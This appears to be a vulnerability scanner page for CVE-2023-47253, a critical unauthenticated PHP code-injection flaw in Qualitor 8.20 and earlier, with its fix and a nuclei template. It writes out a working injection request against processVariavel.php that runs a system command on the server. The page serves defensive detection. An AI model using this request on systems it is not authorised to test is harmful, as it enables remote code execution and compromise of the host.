Qualitor <= 8.20 - Remote Code Execution

criticalseverity

9.8CVSS score

16.5%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

Qualitor through 8.20 allows remote attackers to execute arbitrary code via PHP code in the html/ad/adpesquisasql/request/processVariavel.php gridValoresPopHidden parameter.

Impact

Unauthenticated attackers can execute arbitrary commands via PHP code injection, potentially compromising the entire Qualitor system.

Fix

Upgrade Qualitor to version 8.21 or later.

How to confirm it

Send: GET /html/ad/adpesquisasql/request/processVariavel.php?gridValoresPopHidden=echo%20system("ipconfig");
Positive when: contains_all(body,"Windows","DNS") and contains(content_type,"text/javascript") and status_code == 200

Run it with nuclei: nuclei -id CVE-2023-47253 -u <target>

The full check

id: CVE-2023-47253

info:
  name: Qualitor <= 8.20 - Remote Code Execution
  author: s4e-io
  severity: critical
  description: |
    Qualitor through 8.20 allows remote attackers to execute arbitrary code via PHP code in the html/ad/adpesquisasql/request/processVariavel.php gridValoresPopHidden parameter.
  impact: |
    Unauthenticated attackers can execute arbitrary commands via PHP code injection, potentially compromising the entire Qualitor system.
  remediation: |
    Upgrade Qualitor to version 8.21 or later.
  reference:
    - https://github.com/vnxdtzip/CVE-2023-47253
    - https://nvd.nist.gov/vuln/detail/CVE-2023-47253
    - https://openxp.xpsecsecurity.io/blog/cve-2023-47253
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-47253
    cwe-id: CWE-77
    epss-score: 0.16486
    epss-percentile: 0.97014
    cpe: cpe:2.3:a:qualitor:qalitor:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: qualitor
    product: qualitor
    fofa-query: "Qualitor"
  tags: cve,cve2023,rce,qualitor,vuln,vkev

http:
  - raw:
      - |
        GET /html/ad/adpesquisasql/request/processVariavel.php?gridValoresPopHidden=echo%20system("ipconfig"); HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"Windows","DNS")'
          - 'contains(content_type,"text/javascript")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from